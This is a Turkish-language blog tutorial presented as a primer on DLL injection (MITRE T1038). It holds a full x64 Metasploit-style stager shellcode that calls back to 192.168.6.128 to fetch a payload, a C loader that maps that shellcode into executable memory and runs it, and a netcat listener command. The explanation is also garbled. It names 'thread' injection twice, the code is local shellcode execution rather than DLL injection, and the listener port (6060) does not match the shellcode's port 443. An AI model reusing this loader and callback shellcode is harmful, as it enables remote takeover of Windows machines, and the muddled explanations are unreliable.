Merhabalar,
Bu yazımda sizlere MITRE Framework tarafından T1038 koduyla derecelendirilen DLL enjeksiyonu metodunun en ilkel halini anlatacağım. Özellikle DLL enjeksiyonunun nasıl çalıştığını anlamanız için çok önemli bir konudur. Şimdiden iyi okumalar dilerim.
Bilgi Gereksinimleri
- İyi derecede C++ ve/veya C bilgisi
- Windows API
- VirtualAllocEx (C++)
- OpenProcess
- CreateRemoteThread
DLL Enjeksiyonu Nasıl Çalışır ?

Bu mantığa göre iki adet enjeksiyon metodu vardır. Birincisi thread üzerinden enjeksiyon diğeri ise thread üzerinden enjeksiyon. Öncelikle konunun anlatımında thread ile enjeksiyon, örnek Proof of Concept tasarımında ise process enjeksiyona değineceğim.
Thread enjeksiyonunda DLL dosyası Thread ile Memory arasına ve Memory üzerine enjekte edilir. Böylece program çalışırken DLL dosyası da arka planda çalışmaya devam eder. Bu sayede programın içerisindeki kütüphanelere de entegre olabilir ve hackleme metodu uygulanır.
NOT : İkisi de aslında benim kullandığım metod değildir. Bunlar biraz eski metodlardır ve şu an her ne kadar işe yarasalar da pek verimli olmayabiliyorlar. Tabi hepsi sizin programlama ve siber güvenlik yetinize bağlı olarak değişir :)
Örnek Çalışma
Örnek olarak klasik metodolojide bir shellcode enjekte edilir ve o shellcode üzerinden uygulama çalıştırılır. Benim örnek shellcode’um aşağıdaki gibidir.
unsigned char inj3ct0r_ch4r[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x65\x52\x6e\x38\x00\xe9\x62\x62\xc0\xdb\x6d\xd3\x03\x32\xbb\xac\x11\xbd\x5c\xf9\xe1\xf9\x0c\xb8\x71\xcf\x7a\x00\x6c\x12\x2e\x18\xe0\x5f\xbd\x78\x94\xac\xc2\xf9\x75\xcc\x7f\x16\xf6\xd7\xec\x0a\x27\x69\x9b\x4e\x1a\xbe\x12\x7d\x6e\x28\xa9\x63\x6c\xa5\xa8\x4d\xca\x91\x7a\x9b\xa5\x99\xfe\x45\xe3\x53\xba\x96\x54\x2c\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x00\x43\xe0\x6b\x78\x0f\x6d\x97\x2c\xd8\x77\xcc\x09\xa8\x77\xe1\xf0\x92\x11\x9d\x5a\xe1\x2e\xe3\xc1\xcf\x36\x86\x4a\xd7\x71\xd7\x16\x13\x92\x79\x88\x08\x9e\x75\xf4\x98\xa1\x52\xe4\x58\x3b\xeb\xf4\xf9\x77\x18\x37\xcd\x0a\x76\xc3\x73\x5a\xaa\xd1\x5a\x2b\x14\x31\x78\xbf\x5f\x59\xa2\xdf\x4d\x5e\x81\xf7\x32\x70\x0a\x31\x80\xc3\x50\xaf\xbb\xcd\x68\x68\x02\x5f\xe3\xca\xfd\x63\x9a\x99\x9a\x39\x0d\xcd\x1e\x6b\x0a\xc4\xa2\x95\xc4\x50\xe1\xe6\x3e\x2e\x4f\xd6\xe3\xfe\x12\x61\xc7\x51\x89\x2c\x66\x12\x11\x70\xa8\x31\xfd\x46\x14\x40\xa8\x6a\x48\xb1\xd7\xb2\x3a\xd3\x85\x7a\xa4\xa7\x08\x25\x42\x48\x59\x2c\x30\x50\x3a\xad\xd8\x98\xbc\x7e\x9d\xae\x92\xe7\xca\xd9\xe7\x01\x09\xd4\x99\xe6\x94\x9b\x76\x4e\x62\x9e\x3a\x06\xb0\xaf\x91\x27\x73\x2e\x09\x56\x4d\x79\x4f\x07\xc7\xe6\x90\x47\x95\x28\xef\x78\xb3\x62\x49\x2c\x72\x03\x98\x07\xb0\xa9\x51\x55\x04\x4c\x72\xc4\x4e\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x36\x2e\x31\x32\x38\x00\x17\x50\x65\xea";
Bu shellcode önemlidir. Bunu metasploit ile sizin oluşturmanız gerekmektedir. Neticede program üzerinden siz de makinayla iletişim kuracaksınız. Shellcode içerisinde bağlantı kuracağınız IP ve port bilgileri bulunmalıdır.
Örnek olarak programınız,
#include
int main(void) {
void * inj3ct0r_m3m;
DWORD oldprotect;
BOOL rv;
HANDLE th;
// Shellcode buradan getirilecek.
unsigned char inj3ct0r_ch4r[] = "shellcode_burada";
oldprotect = 0;
inj3ct0r_m3m = VirtualAlloc(0, sizeof(inj3ct0r_ch4r), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(inj3ct0r_m3m, inj3ct0r_ch4r, sizeof(inj3ct0r_ch4r));
rv = VirtualProtect(inj3ct0r_m3m, sizeof(inj3ct0r_ch4r), PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) inj3ct0r_m3m, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Ardından netcat ile gerekli portu dinlemeye alıyoruz. Ben bunlara şuanlık gerek duymuyorum. Sizin için komutumuz,
nc -lvp 6060 (6060 portunu dinliyorum)
Ardından shellcode içerisinde hedef gösterdiğiniz dinleyici IP adresinin 6060 portunu dinlemeniz gerekiyor. Ardından bağlantınız kurulacaktır.
Okuduğunuz için teşekkürler!